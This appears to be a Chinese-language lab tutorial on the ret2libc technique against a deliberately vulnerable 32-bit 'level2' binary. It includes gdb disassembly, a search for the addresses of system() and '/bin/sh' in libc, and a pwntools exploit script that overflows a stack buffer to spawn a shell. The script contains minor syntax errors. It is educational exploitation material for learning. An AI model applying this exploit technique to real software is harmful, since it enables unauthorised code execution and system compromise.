ROP之ret2libc
修改返回地址,讓其指向內存中已有的某個函數
當函數調用棧的沒有執行權限時,就不能執行我們自己寫入的shellcode
,就利用程序裏或系統裏的函數,libc
動態鏈接庫中通常就有需要的函數,如system()
payload結構
-
通過溢出覆蓋返回地址(相當於call system)
padding
+system address
-
調用system時的返回地址,可以隨便填
padding
+system address
+padding2
-
system的參數**/bin/sh**
padding
+system address
+padding2
+/bin/sh address
實例
直接下載
自己編譯
一步一步學 ROP 之 Linux_x86 篇 - 阿里聚安全 - SegmentFault 思否
可以看到NX
開啓即No-eXecute(不可執行),也叫DEP
如果是64位的系統需要安裝32位的運行環境
Linux(Ubuntu Kali)64位安裝32位運行環境和編譯環境 – Unitary-orz
然後用gdb調試,是一個簡單輸入後打印
(gdb) r
Starting program: /root/Desktop/level2
[Detaching after fork from child process 4649]
Input:
1234
[Detaching after fork from child process 4650]
Hello World!
[Inferior 1 (process 4645) exited normally]
查看main
(gdb) disass main
Dump of assembler code for function main:
0x08048480 <+0>: lea 0x4(%esp),%ecx
0x08048484 <+4>: and $0xfffffff0,%esp
0x08048487 <+7>: pushl -0x4(%ecx)
0x0804848a <+10>: push %ebp
0x0804848b <+11>: mov %esp,%ebp
0x0804848d <+13>: push %ecx
0x0804848e <+14>: sub $0x4,%esp
0x08048491 <+17>: call 0x804844b <vulnerable_function>
0x08048496 <+22>: sub $0xc,%esp
0x08048499 <+25>: push $0x804854c
0x0804849e <+30>: call 0x8048320 <system@plt>
0x080484a3 <+35>: add $0x10,%esp
0x080484a6 <+38>: mov $0x0,%eax
0x080484ab <+43>: mov -0x4(%ebp),%ecx
0x080484ae <+46>: leave
0x080484af <+47>: lea -0x4(%ecx),%esp
0x080484b2 <+50>: ret
End of assembler dump.
跟進call 0x804844b <vulnerable_function>
(gdb) disass vulnerable_function
Dump of assembler code for function vulnerable_function:
0x0804844b <+0>: push %ebp
0x0804844c <+1>: mov %esp,%ebp
0x0804844e <+3>: sub $0x88,%esp
0x08048454 <+9>: sub $0xc,%esp
0x08048457 <+12>: push $0x8048540
0x0804845c <+17>: call 0x8048320 <system@plt>
0x08048461 <+22>: add $0x10,%esp
0x08048464 <+25>: sub $0x4,%esp
0x08048467 <+28>: push $0x100
0x0804846c <+33>: lea -0x88(%ebp),%eax
0x08048472 <+39>: push %eax
0x08048473 <+40>: push $0x0
0x08048475 <+42>: call 0x8048310 <read@plt>
0x0804847a <+47>: add $0x10,%esp
0x0804847d <+50>: nop
0x0804847e <+51>: leave
0x0804847f <+52>: ret
End of assembler dump.
發現漏洞點read()
函數,想辦法進行利用
我們利用libc庫中的內容,來執行system("bin/sh")
下斷點在main函數
(gdb) b main
Breakpoint 1 at 0x804848e
(gdb) r
Starting program: /root/Desktop/level2
Breakpoint 1, 0x0804848e in main ()
(gdb) info r
eax 0xf7f9adc8 -134631992
ecx 0xffffd390 -11376
edx 0xffffd3b4 -11340
ebx 0x0 0
esp 0xffffd374 0xffffd374
ebp 0xffffd378 0xffffd378
esi 0xf7f99000 -134639616
edi 0xf7f99000 -134639616
eip 0x804848e 0x804848e <main+14>
eflags 0x282 [ SF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
查看映射地址空間
(gdb) info proc mappings
process 4800
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x8048000 0x8049000 0x1000 0x0 /root/Desktop/level2
0x8049000 0x804a000 0x1000 0x0 /root/Desktop/level2
0x804a000 0x804b000 0x1000 0x1000 /root/Desktop/level2
0xf7dbf000 0xf7dd8000 0x19000 0x0 /lib32/libc-2.28.so
0xf7dd8000 0xf7f26000 0x14e000 0x19000 /lib32/libc-2.28.so
[...]
可以看到libc.so
在內存中的起始位置爲0xf7dbf000
現在來找
system()
和"/bin/sh"
通過gdb查找
我們打印system
地址和查找"/bin/sh"
(gdb) find 0xf7dbf000,+9999999,"/bin/sh"
0xf7f3daaa
warning: Unable to access 16000 bytes of target memory at 0xf7f9b6b2, halting search.
1 pattern found.
(gdb) p system
$2 = {<text variable, no debug info>} 0xf7dfd9e0 <system>
(gdb) x/s 0xf7f3daaa #字符串形式查看
0xf7f3daaa: "/bin/sh"
(gdb) x/i 0xf7dfd9e0 #指令形式查看
0xf7dfd9e0 <system>:call 0xf7ef6b2d
system : 0xf7dfd9e0
"/bin/sh": 0xf7f3daaa
通過string和readelf查找
有時gdb查找出來的有問題
readelf
-s --syms Display the symbol table
string
-t --radix={o,d,x} Print the location of the string in base 8, 10 or 16
$ string -tx #使用16進製表示字符串位置
通過上面查出的lib.so
的路徑/lib32/libc-2.28.so
來查找
函數地址
$ readelf -s /lib32/libc-2.28.so | grep system
257: 0012a2c0 102 FUNC GLOBAL DEFAULT 13 svcerr_systemerr@@GLIBC_2.0
658: 0003e9e0 55 FUNC GLOBAL DEFAULT 13 __libc_system@@GLIBC_PRIVATE
1525: 0003e9e0 55 FUNC WEAK DEFAULT 13 system@@GLIBC_2.0
字符串地址
$ strings -tx /lib32/libc-2.28.so | grep "/bin/sh"
17eaaa /bin/sh
得到的地址是偏移地址
通過上面libc.so
的地址0xf7dbf000
來計算真正地址
system(): 0xf7dfd9e0
=0xf7dbf000
+0003e9e0
"/bin/sh": 0xf7f3daaa
=0xf7dbf000
+17eaaa
pwntool獲取
這個找的是程序內的地
from pwn import *
s = process("./level2")
elf = ELF('Desktop/level2')
sys = elf.symbols['system']
sh = elf.search('/bin/sh').next()
查看緩衝區大小
來看vulnerable_function
(gdb) disass vulnerable_function
Dump of assembler code for function vulnerable_function:
0x0804844b <+0>: push %ebp
0x0804844c <+1>: mov %esp,%ebp
0x0804844e <+3>: sub $0x88,%esp
0x08048454 <+9>: sub $0xc,%esp
0x08048457 <+12>: push $0x8048540
0x0804845c <+17>: call 0x8048320 <system@plt>
0x08048461 <+22>: add $0x10,%esp
0x08048464 <+25>: sub $0x4,%esp
0x08048467 <+28>: push $0x100
0x0804846c <+33>: lea -0x88(%ebp),%eax
0x08048472 <+39>: push %eax
0x08048473 <+40>: push $0x0
0x08048475 <+42>: call 0x8048310 <read@plt>
0x0804847a <+47>: add $0x10,%esp
0x0804847d <+50>: nop
0x0804847e <+51>: leave
0x0804847f <+52>: ret
End of assembler dump.
通過sub $0x88,%esp
看出緩衝區大小爲0x88
,然後加上ebp
的地址就是覆蓋返回地址,因爲是32位所以加4
exp
padding
+ system address
+ padding2
+/bin/sh address
from pwn import *
s.process(./level2)
sys = 0xf7dfd9e0
sh = 0xf7f3daaa
payload = 'a'*(0x88+4) + p32(sys) + p32(0x12345678) + p32(sh)
s.recvuntil(':')
s.sendline(payload)
s.interactive()
參考
(26) Doing ret2libc with a Buffer Overflow because of restricted return pointer - bin 0x0F - YouTube